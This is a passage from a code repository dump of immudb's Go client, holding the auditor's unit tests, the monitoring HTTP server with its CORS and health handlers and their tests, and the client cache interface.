    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage auditor\n\nimport (\n\t\"context\"\n\t\"crypto/ecdsa\"\n\t\"errors\"\n\t\"fmt\"\n\t\"io/ioutil\"\n\t\"net/http\"\n\t\"os\"\n\t\"strings\"\n\t\"testing\"\n\t\"time\"\n\n\t\"github.com/codenotary/immudb/pkg/signer\"\n\n\t\"github.com/codenotary/immudb/embedded/logger\"\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n\t\"github.com/codenotary/immudb/pkg/client/cache\"\n\t\"github.com/codenotary/immudb/pkg/client/clienttest\"\n\t\"github.com/codenotary/immudb/pkg/client/state\"\n\t\"github.com/golang/protobuf/ptypes/empty\"\n\t\"github.com/stretchr/testify/require\"\n\t\"google.golang.org/grpc\"\n\t\"google.golang.org/grpc/credentials/insecure\"\n)\n\nvar dirname = \"./test\"\n\nfunc TestDefaultAuditor(t *testing.T) {\n\tdefer os.RemoveAll(dirname)\n\tda, err := DefaultAuditor(\n\t\ttime.Duration(0),\n\t\tfmt.Sprintf(\"%s:%d\", \"address\", 0),\n\t\t[]grpc.DialOption{},\n\t\t\"immudb\",\n\t\t\"immudb\",\n\t\tnil,\n\t\tnil,\n\t\tAuditNotificationConfig{},\n\t\tnil,\n\t\tnil,\n\t\tcache.NewHistoryFileCache(dirname),\n\t\tfunc(string, string, bool, bool, bool, *schema.ImmutableState, *schema.ImmutableState) {},\n\t\tlogger.NewSimpleLogger(\"test\", os.Stdout),\n\t\tnil)\n\trequire.NoError(t, err)\n\trequire.IsType(t, &defaultAuditor{}, da)\n}\n\ntype writerMock struct {\n\twritten []string\n}\n\nfunc (wm *writerMock) Write(bs []byte) (n int, err error) {\n\twm.written = append(wm.written, string(bs))\n\treturn len(bs), nil\n}\n\nfunc TestDefaultAuditorPasswordDecodeErr(t *testing.T) {\n\tdefer os.RemoveAll(dirname)\n\t_, err := DefaultAuditor(\n\t\ttime.Duration(0),\n\t\tfmt.Sprintf(\"%s:%d\", \"address\", 0),\n\t\t[]grpc.DialOption{},\n\t\t\"immudb\",\n\t\t\"enc:\"+string([]byte{0}),\n\t\tnil,\n\t\tnil,\n\t\tAuditNotificationConfig{},\n\t\tnil,\n\t\tnil,\n\t\tcache.NewHistoryFileCache(dirname),\n\t\tfunc(string, string, bool, bool, bool, *schema.ImmutableState, *schema.ImmutableState) {},\n\t\tlogger.NewSimpleLogger(\"test\", os.Stdout),\n\t\tnil)\n\trequire.ErrorContains(t, err, \"illegal base64 data at input byte 0\")\n}\n\nfunc TestDefaultAuditorLoginErr(t *testing.T) {\n\tdefer os.RemoveAll(dirname)\n\n\tserviceClient := clienttest.ImmuServiceClientMock{\n\t\tLoginF: func(ctx context.Context, in *schema.LoginRequest, opts ...grpc.CallOption) (*schema.LoginResponse, error) {\n\t\t\treturn nil, errors.New(\"some login error\")\n\t\t},\n\t\tLogoutF: func(ctx context.Context, in *empty.Empty, opts ...grpc.CallOption) (*empty.Empty, error) {\n\t\t\treturn new(empty.Empty), nil\n\t\t},\n\t}\n\n\twm := writerMock{}\n\tauditor, err := DefaultAuditor(\n\t\ttime.Duration(0),\n\t\tfmt.Sprintf(\"%s:%d\", \"address\", 0),\n\t\t[]grpc.DialOption{\n\t\t\tgrpc.WithTransportCredentials(insecure.NewCredentials()),\n\t\t},\n\t\t\"immudb\",\n\t\t\"immudb\",\n\t\tnil,\n\t\tnil,\n\t\tAuditNotificationConfig{},\n\t\t&serviceClient,\n\t\tstate.NewUUIDProvider(&serviceClient),\n\t\tcache.NewHistoryFileCache(dirname),\n\t\tfunc(string, string, bool, bool, bool, *schema.ImmutableState, *schema.ImmutableState) {},\n\t\tlogger.NewSimpleLogger(\"test\", &wm),\n\t\tnil)\n\trequire.NoError(t, err)\n\terr = auditor.(*defaultAuditor).audit()\n\trequire.NoError(t, err)\n\trequire.GreaterOrEqual(t, len(wm.written), 1)\n\trequire.Contains(t, wm.written[len(wm.written)-1], \"some login error\")\n}\n\nfunc TestDefaultAuditorDatabaseListErr(t *testing.T) {\n\tdefer os.RemoveAll(dirname)\n\tserviceClient := clienttest.ImmuServiceClientMock{\n\t\tLoginF: func(ctx context.Context, in *schema.LoginRequest, opts ...grpc.CallOption) (*schema.LoginResponse, error) {\n\t\t\treturn &schema.LoginResponse{Token: \"\"}, nil\n\t\t},\n\t\tLogoutF: func(ctx context.Context, in *empty.Empty, opts ...grpc.CallOption) (*empty.Empty, error) {\n\t\t\treturn new(empty.Empty), nil\n\t\t},\n\t\tDatabaseListF: func(ctx context.Context, in *empty.Empty, opts ...grpc.CallOption) (*schema.DatabaseListResponse, error) {\n\t\t\treturn nil, errors.New(\"some database list error\")\n\t\t},\n\t}\n\twm := writerMock{}\n\tauditor, err := DefaultAuditor(\n\t\ttime.Duration(0),\n\t\tfmt.Sprintf(\"%s:%d\", \"address\", 0),\n\t\t[]grpc.DialOption{\n\t\t\tgrpc.WithTransportCredentials(insecure.NewCredentials()),\n\t\t},\n\t\t\"immudb\",\n\t\t\"immudb\",\n\t\tnil,\n\t\tnil,\n\t\tAuditNotificationConfig{},\n\t\t&serviceClient,\n\t\tstate.NewUUIDProvider(&serviceClient),\n\t\tcache.NewHistoryFileCache(dirname),\n\t\tfunc(string, string, bool, bool, bool, *schema.ImmutableState, *schema.ImmutableState) {},\n\t\tlogger.NewSimpleLogger(\"test\", &wm),\n\t\tnil)\n\trequire.NoError(t, err)\n\terr = auditor.(*defaultAuditor).audit()\n\trequire.NoError(t, err)\n\trequire.GreaterOrEqual(t, len(wm.written), 1)\n\trequire.Contains(t, wm.written[len(wm.written)-1], \"some database list error\")\n}\n\nfunc TestDefaultAuditorDatabaseListEmpty(t *testing.T) {\n\tdefer os.RemoveAll(dirname)\n\tserviceClient := clienttest.ImmuServiceClientMock{\n\t\tLoginF: func(ctx context.Context, in *schema.LoginRequest, opts ...grpc.CallOption) (*schema.LoginResponse, error) {\n\t\t\treturn &schema.LoginResponse{Token: \"\"}, nil\n\t\t},\n\t\tLogoutF: func(ctx context.Context, in *empty.Empty, opts ...grpc.CallOption) (*empty.Empty, error) {\n\t\t\treturn new(empty.Empty), nil\n\t\t},\n\t\tDatabaseListF: func(ctx context.Context, in *empty.Empty, opts ...grpc.CallOption) (*schema.DatabaseListResponse, error) {\n\t\t\treturn &schema.DatabaseListResponse{\n\t\t\t\tDatabases: nil,\n\t\t\t}, nil\n\t\t},\n\t}\n\twm := writerMock{}\n\tauditor, err := DefaultAuditor(\n\t\ttime.Duration(0),\n\t\tfmt.Sprintf(\"%s:%d\", \"address\", 0),\n\t\t[]grpc.DialOption{\n\t\t\tgrpc.WithTransportCredentials(insecure.NewCredentials()),\n\t\t},\n\t\t\"immudb\",\n\t\t\"immudb\",\n\t\tnil,\n\t\tnil,\n\t\tAuditNotificationConfig{},\n\t\t&serviceClient,\n\t\tstate.NewUUIDProvider(&serviceClient),\n\t\tcache.NewHistoryFileCache(dirname),\n\t\tfunc(string, string, bool, bool, bool, *schema.ImmutableState, *schema.ImmutableState) {},\n\t\tlogger.NewSimpleLogger(\"test\", &wm),\n\t\tnil)\n\trequire.NoError(t, err)\n\terr = auditor.(*defaultAuditor).audit()\n\trequire.NoError(t, err)\n\trequire.GreaterOrEqual(t, len(wm.written), 1)\n\trequire.Contains(t, wm.written[len(wm.written)-1], \"no databases to audit found\")\n}\n\nfunc TestDefaultAuditorUseDatabaseErr(t *testing.T) {\n\tdefer os.RemoveAll(dirname)\n\tserviceClient := clienttest.ImmuServiceClientMock{\n\t\tLoginF: func(ctx context.Context, in *schema.LoginRequest, opts ...grpc.CallOption) (*schema.LoginResponse, error) {\n\t\t\treturn &schema.LoginResponse{Token: \"\"}, nil\n\t\t},\n\t\tLogoutF: func(ctx context.Context, in *empty.Empty, opts ...grpc.CallOption) (*empty.Empty, error) {\n\t\t\treturn new(empty.Empty), nil\n\t\t},\n\t\tDatabaseListF: func(ctx context.Context, in *empty.Empty, opts ...grpc.CallOption) (*schema.DatabaseListResponse, error) {\n\t\t\treturn &schema.DatabaseListResponse{\n\t\t\t\tDatabases: []*schema.Database{{DatabaseName: \"someDB\"}},\n\t\t\t}, nil\n\t\t},\n\t\tUseDatabaseF: func(ctx context.Context, in *schema.Database, opts ...grpc.CallOption) (*schema.UseDatabaseReply, error) {\n\t\t\treturn nil, errors.New(\"some use database error\")\n\t\t},\n\t}\n\twm := writerMock{}\n\tauditor, err := DefaultAuditor(\n\t\ttime.Duration(0),\n\t\tfmt.Sprintf(\"%s:%d\", \"address\", 0),\n\t\t[]grpc.DialOption{\n\t\t\tgrpc.WithTransportCredentials(insecure.NewCredentials()),\n\t\t},\n\t\t\"immudb\",\n\t\t\"immudb\",\n\t\tnil,\n\t\tnil,\n\t\tAuditNotificationConfig{},\n\t\t&serviceClient,\n\t\tstate.NewUUIDProvider(&serviceClient),\n\t\tcache.NewHistoryFileCache(dirname),\n\t\tfunc(string, string, bool, bool, bool, *schema.ImmutableState, *schema.ImmutableState) {},\n\t\tlogger.NewSimpleLogger(\"test\", &wm),\n\t\tnil)\n\trequire.NoError(t, err)\n\terr = auditor.(*defaultAuditor).audit()\n\trequire.NoError(t, err)\n\trequire.GreaterOrEqual(t, len(wm.written), 1)\n\trequire.Contains(t, wm.written[len(wm.written)-1], \"some use database error\")\n}\n\nfunc TestDefaultAuditorCurrentRootErr(t *testing.T) {\n\tdefer os.RemoveAll(dirname)\n\tserviceClient := clienttest.ImmuServiceClientMock{\n\t\tLoginF: func(ctx context.Context, in *schema.LoginRequest, opts ...grpc.CallOption) (*schema.LoginResponse, error) {\n\t\t\treturn &schema.LoginResponse{Token: \"\"}, nil\n\t\t},\n\t\tLogoutF: func(ctx context.Context, in *empty.Empty, opts ...grpc.CallOption) (*empty.Empty, error) {\n\t\t\treturn new(empty.Empty), nil\n\t\t},\n\t\tDatabaseListF: func(ctx context.Context, in *empty.Empty, opts ...grpc.CallOption) (*schema.DatabaseListResponse, error) {\n\t\t\treturn &schema.DatabaseListResponse{\n\t\t\t\tDatabases: []*schema.Database{{DatabaseName: \"someDB\"}},\n\t\t\t}, nil\n\t\t},\n\t\tUseDatabaseF: func(ctx context.Context, in *schema.Database, opts ...grpc.CallOption) (*schema.UseDatabaseReply, error) {\n\t\t\treturn &schema.UseDatabaseReply{Token: \"\"}, nil\n\t\t},\n\t\tCurrentStateF: func(ctx context.Context, in *empty.Empty, opts ...grpc.CallOption) (*schema.ImmutableState, error) {\n\t\t\treturn nil, errors.New(\"some current state error\")\n\t\t},\n\t}\n\twm := writerMock{}\n\tauditor, err := DefaultAuditor(\n\t\ttime.Duration(0),\n\t\tfmt.Sprintf(\"%s:%d\", \"address\", 0),\n\t\t[]grpc.DialOption{\n\t\t\tgrpc.WithTransportCredentials(insecure.NewCredentials()),\n\t\t},\n\t\t\"immudb\",\n\t\t\"immudb\",\n\t\tnil,\n\t\tnil,\n\t\tAuditNotificationConfig{},\n\t\t&serviceClient,\n\t\tstate.NewUUIDProvider(&serviceClient),\n\t\tcache.NewHistoryFileCache(dirname),\n\t\tfunc(string, string, bool, bool, bool, *schema.ImmutableState, *schema.ImmutableState) {},\n\t\tlogger.NewSimpleLogger(\"test\", &wm),\n\t\tnil)\n\trequire.NoError(t, err)\n\terr = auditor.(*defaultAuditor).audit()\n\trequire.NoError(t, err)\n\trequire.GreaterOrEqual(t, len(wm.written), 1)\n\trequire.Contains(t, wm.written[len(wm.written)-1], \"some current state error\")\n}\n\nfunc TestDefaultAuditorRunOnDbWithInvalidSignature(t *testing.T) {\n\tpk, err := signer.ParsePublicKeyFile(\"./../../../test/signer/ec1.pub\")\n\trequire.NoError(t, err)\n\n\ttestDefaultAuditorRunOnDbWithInvalidSignature(t, pk, false)\n\ttestDefaultAuditorRunOnDbWithInvalidSignature(t, pk, true)\n}\n\nfunc TestDefaultAuditorRunOnDbWithInvalidSignatureFromState(t *testing.T) {\n\ttestDefaultAuditorRunOnDbWithInvalidSignature(t, nil, false)\n\ttestDefaultAuditorRunOnDbWithInvalidSignature(t, nil, true)\n}\n\nfunc testDefaultAuditorRunOnDbWithInvalidSignature(t *testing.T, pk *ecdsa.PublicKey, withSignedState bool) {\n\tdefer os.RemoveAll(dirname)\n\n\tserviceClient := &clienttest.ImmuServiceClientMock{}\n\n\tserviceClient.HealthF = func(ctx context.Context, in *empty.Empty, opts ...grpc.CallOption) (*schema.HealthResponse, error) {\n\t\treturn &schema.HealthResponse{Status: true, Version: \"v1.0.0\"}, nil\n\t}\n\tserviceClient.CurrentStateF = func(ctx context.Context, in *empty.Empty, opts ...grpc.CallOption) (*schema.ImmutableState, error) {\n\t\tcurrState := &schema.ImmutableState{}\n\t\tif withSignedState {\n\t\t\tcurrState.Signature = &schema.Signature{\n\t\t\t\tSignature: []byte(\"invalid signature\"),\n\t\t\t\tPublicKey: []byte(\"invalid public key\"),\n\t\t\t}\n\t\t}\n\t\treturn currState, nil\n\t}\n\tserviceClient.LoginF = func(ctx context.Context, in *schema.LoginRequest, opts ...grpc.CallOption) (*schema.LoginResponse, error) {\n\t\treturn &schema.LoginResponse{\n\t\t\tToken: \"token\",\n\t\t}, nil\n\t}\n\tserviceClient.DatabaseListF = func(ctx context.Context, in *empty.Empty, opts ...grpc.CallOption) (*schema.DatabaseListResponse, error) {\n\t\treturn &schema.DatabaseListResponse{\n\t\t\tDatabases: []*schema.Database{{DatabaseName: \"sysdb\"}},\n\t\t}, nil\n\t}\n\tserviceClient.UseDatabaseF = func(ctx context.Context, in *schema.Database, opts ...grpc.CallOption) (*schema.UseDatabaseReply, error) {\n\t\treturn &schema.UseDatabaseReply{\n\t\t\tToken: \"sometoken\",\n\t\t}, nil\n\t}\n\tserviceClient.LogoutF = func(ctx context.Context, in *empty.Empty, opts ...grpc.CallOption) (*empty.Empty, error) {\n\t\treturn &empty.Empty{}, nil\n\t}\n\n\tda, err := DefaultAuditor(\n\t\ttime.Duration(0),\n\t\tfmt.Sprintf(\"%s:%d\", \"address\", 0),\n\t\t[]grpc.DialOption{\n\t\t\tgrpc.WithTransportCredentials(insecure.NewCredentials()),\n\t\t},\n\t\t\"immudb\",\n\t\t\"immudb\",\n\t\tnil,\n\t\tpk,\n\t\tAuditNotificationConfig{},\n\t\tserviceClient,\n\t\tstate.NewUUIDProvider(serviceClient),\n\t\tcache.NewHistoryFileCache(dirname),\n\t\tfunc(string, string, bool, bool, bool, *schema.ImmutableState, *schema.ImmutableState) {},\n\t\tlogger.NewSimpleLogger(\"test\", os.Stdout),\n\t\tnil)\n\trequire.NoError(t, err)\n\n\tauditorDone := make(chan struct{}, 2)\n\terr = da.Run(time.Duration(10), true, context.Background().Done(), auditorDone)\n\trequire.NoError(t, err)\n\terr = da.Run(time.Duration(10), true, context.Background().Done(), auditorDone)\n\trequire.NoError(t, err)\n}\n\nfunc TestPublishAuditNotification(t *testing.T) {\n\tnotificationConfig := AuditNotificationConfig{\n\t\tURL:      \"http://some-non-existent-url.com\",\n\t\tUsername: \"some-username\",\n\t\tPassword: \"some-password\",\n\t\tPublishFunc: func(req *http.Request) (*http.Response, error) {\n\t\t\treturn &http.Response{\n\t\t\t\tStatus:     http.StatusText(http.StatusNoContent),\n\t\t\t\tStatusCode: http.StatusNoContent,\n\t\t\t\tBody:       ioutil.NopCloser(strings.NewReader(\"All good\")),\n\t\t\t}, nil\n\t\t},\n\t}\n\ta := &defaultAuditor{notificationConfig: notificationConfig}\n\trunAt, err := time.Parse(time.RFC3339, \"2020-11-13T00:53:42+01:00\")\n\trequire.NoError(t, err)\n\n\t// test happy path\n\terr = a.publishAuditNotification(\n\t\t\"some-db\",\n\t\trunAt,\n\t\ttrue,\n\t\t&State{Tx: 1, Hash: \"hash-1\"},\n\t\t&State{Tx: 2, Hash: \"hash-2\"},\n\t)\n\trequire.NoError(t, err)\n\n\t// test unexpected HTTP status code\n\ta.notificationConfig.PublishFunc = func(req *http.Request) (*http.Response, error) {\n\t\treturn &http.Response{\n\t\t\tStatus:     http.StatusText(http.StatusInternalServerError),\n\t\t\tStatusCode: http.StatusInternalServerError,\n\t\t\tBody:       ioutil.NopCloser(strings.NewReader(\"Some error\")),\n\t\t}, nil\n\t}\n\terr = a.publishAuditNotification(\n\t\t\"some-db2\",\n\t\trunAt,\n\t\tfalse,\n\t\t&State{\n\t\t\tTx:        11,\n\t\t\tHash:      \"hash-11\",\n\t\t\tSignature: Signature{Signature: \"sig11\", PublicKey: \"pk11\"}},\n\t\t&State{\n\t\t\tTx:        22,\n\t\t\tHash:      \"hash-22\",\n\t\t\tSignature: Signature{Signature: \"sig22\", PublicKey: \"pk22\"}},\n\t)\n\trequire.ErrorContains(\n\t\tt,\n\t\terr,\n\t\t\"POST http://some-non-existent-url.com request with payload\")\n\trequire.ErrorContains(\n\t\tt,\n\t\terr,\n\t\t\"got unexpected response status Internal Server Error with response body Some error\")\n\trequire.NotContains(t, err.Error(), notificationConfig.Password)\n\n\t// test error creating request\n\ta.notificationConfig.RequestTimeout = 1 * time.Second\n\ta.notificationConfig.URL = string([]byte{0})\n\terr = a.publishAuditNotification(\n\t\t\"some-db4\",\n\t\trunAt,\n\t\ttrue,\n\t\t&State{Tx: 1111, Hash: \"hash-1111\"},\n\t\t&State{Tx: 2222, Hash: \"hash-2222\"},\n\t)\n\trequire.ErrorContains(t, err, \"invalid control character in URL\")\n}\n"
  },
  {
    "path": "pkg/client/auditor/monitoring_server.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage auditor\n\nimport (\n\t\"context\"\n\t\"encoding/json\"\n\t\"expvar\"\n\t\"net/http\"\n\n\t\"github.com/codenotary/immudb/embedded/logger\"\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n\t\"github.com/golang/protobuf/ptypes/empty\"\n\t\"github.com/prometheus/client_golang/prometheus/promhttp\"\n)\n\nfunc StartHTTPServerForMonitoring(\n\taddr string,\n\tlistenAndServe func(server *http.Server) error,\n\tl logger.Logger,\n\timmuServiceClient schema.ImmuServiceClient,\n) *http.Server {\n\n\tmux := http.NewServeMux()\n\tpromhttpHander := corsHandler(promhttp.Handler())\n\tmux.Handle(\"/\", promhttpHander)\n\tmux.Handle(\"/metrics\", promhttpHander)\n\tmux.Handle(\"/debug/vars\", corsHandler(expvar.Handler()))\n\tmux.HandleFunc(\"/initz\", corsHandlerFunc(AuditorHealthHandlerFunc(immuServiceClient)))\n\tmux.HandleFunc(\"/readyz\", corsHandlerFunc(AuditorHealthHandlerFunc(immuServiceClient)))\n\tmux.HandleFunc(\"/livez\", corsHandlerFunc(AuditorHealthHandlerFunc(immuServiceClient)))\n\tmux.HandleFunc(\"/version\", corsHandlerFunc(AuditorVersionHandlerFunc))\n\tserver := &http.Server{Addr: addr, Handler: mux}\n\n\tgo func() {\n\t\tif err := listenAndServe(server); err != nil {\n\t\t\tif err == http.ErrServerClosed {\n\t\t\t\tl.Debugf(\"auditor monitoring HTTP server closed\")\n\t\t\t} else {\n\t\t\t\tl.Errorf(\"auditor monitoring HTTP server error: %s\", err)\n\t\t\t}\n\t\t}\n\t}()\n\n\treturn server\n}\n\ntype HealthResponse struct {\n\tImmudb string `json:\"immudb\"`\n}\n\nfunc AuditorHealthHandlerFunc(immuServiceClient schema.ImmuServiceClient) http.HandlerFunc {\n\treturn func(w http.ResponseWriter, r *http.Request) {\n\t\thttpStatus := http.StatusOK\n\t\thealthResp := HealthResponse{\"OK\"}\n\t\thealth, err := immuServiceClient.Health(context.Background(), new(empty.Empty))\n\t\tif err != nil {\n\t\t\thttpStatus = http.StatusServiceUnavailable\n\t\t\thealthResp.Immudb = err.Error()\n\t\t} else if !health.GetStatus() {\n\t\t\thttpStatus = http.StatusServiceUnavailable\n\t\t\thealthResp.Immudb = \"unhealthy\"\n\t\t}\n\t\twriteJSONResponse(w, r, httpStatus, &healthResp)\n\t}\n}\n\n// VersionResponse ...\ntype VersionResponse struct {\n\tComponent string `json:\"component\" example:\"immudb\"`\n\tVersion   string `json:\"version\" example:\"1.0.1-c9c6495\"`\n\tBuildTime string `json:\"buildtime\" example:\"1604692129\"`\n\tBuiltBy   string `json:\"builtby,omitempty\"`\n\tStatic    bool   `json:\"static\"`\n\tFIPS      bool   `json:\"fips\"`\n}\n\nvar Version VersionResponse\n\nfunc AuditorVersionHandlerFunc(w http.ResponseWriter, r *http.Request) {\n\twriteJSONResponse(w, r, 200, &Version)\n}\n\nfunc corsHandler(handler http.Handler) http.Handler {\n\treturn http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\taddCORSHeaders(w, r)\n\t\thandler.ServeHTTP(w, r)\n\t})\n}\n\nfunc corsHandlerFunc(handlerFunc http.HandlerFunc) http.HandlerFunc {\n\treturn func(w http.ResponseWriter, r *http.Request) {\n\t\taddCORSHeaders(w, r)\n\t\thandlerFunc(w, r)\n\t}\n}\n\nfunc addCORSHeaders(w http.ResponseWriter, r *http.Request) {\n\t// Set CORS headers for the preflight request\n\tif r.Method == http.MethodOptions {\n\t\tw.Header().Set(\"Access-Control-Allow-Origin\", \"*\")\n\t\tw.Header().Set(\"Access-Control-Allow-Methods\", \"GET\")\n\t\tw.Header().Set(\n\t\t\t\"Access-Control-Allow-Headers\",\n\t\t\t\"Accept, Content-Type, Content-Length, Accept-Encoding, X-CSRF-Token, Access-Control-Allow-Origin, Access-Control-Allow-Methods, Access-Control-Allow-Credentials\")\n\t\tw.WriteHeader(http.StatusNoContent)\n\t\treturn\n\t}\n\t// Set CORS headers for the main request.\n\tw.Header().Set(\"Access-Control-Allow-Origin\", \"*\")\n}\n\nfunc writeJSONResponse(\n\tw http.ResponseWriter,\n\tr *http.Request,\n\tstatusCode int,\n\tbody interface{}) {\n\n\tw.Header().Set(\"Content-Type\", \"application/json\")\n\tw.WriteHeader(statusCode)\n\tjson.NewEncoder(w).Encode(body)\n}\n"
  },
  {
    "path": "pkg/client/auditor/monitoring_server_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage auditor\n\nimport (\n\t\"context\"\n\t\"encoding/json\"\n\t\"errors\"\n\t\"fmt\"\n\t\"net/http\"\n\t\"net/http/httptest\"\n\t\"os\"\n\t\"testing\"\n\t\"time\"\n\n\t\"github.com/codenotary/immudb/embedded/logger\"\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n\t\"github.com/codenotary/immudb/pkg/client/clienttest\"\n\t\"github.com/golang/protobuf/ptypes/empty\"\n\t\"github.com/prometheus/client_golang/prometheus/promhttp\"\n\t\"github.com/stretchr/testify/require\"\n\t\"google.golang.org/grpc\"\n)\n\nfunc TestStartHTTPServerForMonitoring(t *testing.T) {\n\t// happy path\n\thttpServer := StartHTTPServerForMonitoring(\n\t\t\"\",\n\t\tfunc(hs *http.Server) error { return nil },\n\t\tnil,\n\t\tnil)\n\trequire.NotNil(t, httpServer)\n\n\tl := logger.NewSimpleLogger(\"monitor_server_test\", os.Stderr)\n\n\t// \"server closed\" error path\n\tStartHTTPServerForMonitoring(\n\t\t\"\",\n\t\tfunc(hs *http.Server) error { return http.ErrServerClosed },\n\t\tl,\n\t\tnil)\n\trequire.NotNil(t, httpServer)\n\n\t// some other listen and serve error\n\thttpServer = StartHTTPServerForMonitoring(\n\t\t\"\",\n\t\tfunc(hs *http.Server) error { return errors.New(\"some unexpected error\") },\n\t\tl,\n\t\tnil)\n\trequire.NotNil(t, httpServer)\n}\n\nfunc TestAuditorHealthHandlerFunc(t *testing.T) {\n\treq, err := http.NewRequest(\"GET\", \"/initz\", nil)\n\trequire.NoError(t, err)\n\n\ttestCases := []struct {\n\t\tstatus bool\n\t\terr    error\n\t\tcode   int\n\t\tbody   string\n\t}{\n\t\t{true, nil, http.StatusOK, \"OK\"},\n\t\t{false, errors.New(\"some health error\"), http.StatusServiceUnavailable, \"some health error\"},\n\t\t{false, nil, http.StatusServiceUnavailable, \"unhealthy\"},\n\t}\n\tfor _, tc := range testCases {\n\t\tt.Run(fmt.Sprintf(\"%d %s: %s\", tc.code, http.StatusText(tc.code), tc.body), func(t *testing.T) {\n\t\t\trr := httptest.NewRecorder()\n\t\t\timmuServiceClientMock := &clienttest.ImmuServiceClientMock{\n\t\t\t\tHealthF: func(context.Context, *empty.Empty, ...grpc.CallOption) (*schema.HealthResponse, error) {\n\t\t\t\t\treturn &schema.HealthResponse{Status: tc.status}, tc.err\n\t\t\t\t},\n\t\t\t}\n\t\t\thandler := corsHandlerFunc(AuditorHealthHandlerFunc(immuServiceClientMock))\n\t\t\thandler.ServeHTTP(rr, req)\n\t\t\trequire.Equal(t, tc.code, rr.Code)\n\t\t\texpectedBody, _ := json.Marshal(&HealthResponse{tc.body})\n\t\t\trequire.Equal(t, string(expectedBody)+\"\\n\", rr.Body.String())\n\t\t})\n\t}\n}\n\nfunc TestAuditorVersionHandlerFunc(t *testing.T) {\n\t// test OPTIONS /version\n\treq, err := http.NewRequest(\"OPTIONS\", \"/version\", nil)\n\trequire.NoError(t, err)\n\trr := httptest.NewRecorder()\n\thandler := corsHandlerFunc(AuditorVersionHandlerFunc)\n\thandler.ServeHTTP(rr, req)\n\trequire.Equal(t, http.StatusNoContent, rr.Code)\n\n\t// test GET /version\n\tVersion = VersionResponse{\n\t\tComponent: \"immudb\",\n\t\tVersion:   \"1.2.3\",\n\t\tBuildTime: time.Now().Format(time.RFC3339),\n\t\tBuiltBy:   \"SomeBuilder\",\n\t\tStatic:    true,\n\t}\n\treq, err = http.NewRequest(\"GET\", \"/version\", nil)\n\trequire.NoError(t, err)\n\trr = httptest.NewRecorder()\n\thandler = corsHandlerFunc(AuditorVersionHandlerFunc)\n\thandler.ServeHTTP(rr, req)\n\trequire.Equal(t, http.StatusOK, rr.Code)\n\texpectedBody, _ := json.Marshal(&Version)\n\trequire.Equal(t, string(expectedBody)+\"\\n\", rr.Body.String())\n}\n\nfunc TestCORSHandler(t *testing.T) {\n\trr := httptest.NewRecorder()\n\treq, err := http.NewRequest(\"GET\", \"/metrics\", nil)\n\trequire.NoError(t, err)\n\thandler := corsHandler(promhttp.Handler())\n\thandler.ServeHTTP(rr, req)\n\trequire.Equal(t, http.StatusOK, rr.Code)\n}\n"
  },
  {
    "path": "pkg/client/cache/cache.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage cache\n\nimport (\n\t\"errors\"\n\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n)\n\nvar ErrCacheNotLocked = errors.New(\"cache is not locked\")\nvar ErrCacheAlreadyLocked = errors.New(\"cache is already locked\")\nvar ErrServerIdentityValidationFailed = errors.New(\"failed to validate the identity of the server\")\n\n// Cache the cache interface\ntype Cache interface {\n\tGet(serverUUID, db string) (*schema.ImmutableState, error)\n\tSet(serverUUID, db string, state *schema.ImmutableState) error\n\tLock(serverUUID string) error\n\tUnlock() error\n\n\t// ServerIdentityCheck check validates that a server with given identity can use given server uuid\n\t//\n\t// `serverIdentity` must uniquely identify given immudb server instance.\n\t// Go SDK passes `host:port` pair as the server identity however the Cache interface implementation\n\t// must not do any assumptions about the structure of this data.\n\tServerIdentityCheck(serverIdentity, serverUUID string) error\n}\n\n// HistoryCache the history cache interface\ntype HistoryCache interface {\n\tCache\n\tWalk(serverUUID string, db string, f func(*schema.ImmutableState) interface{}) ([]interface{}, error)\n}\n"
  },
  {
    "path": "pkg/client/cache/common.go",
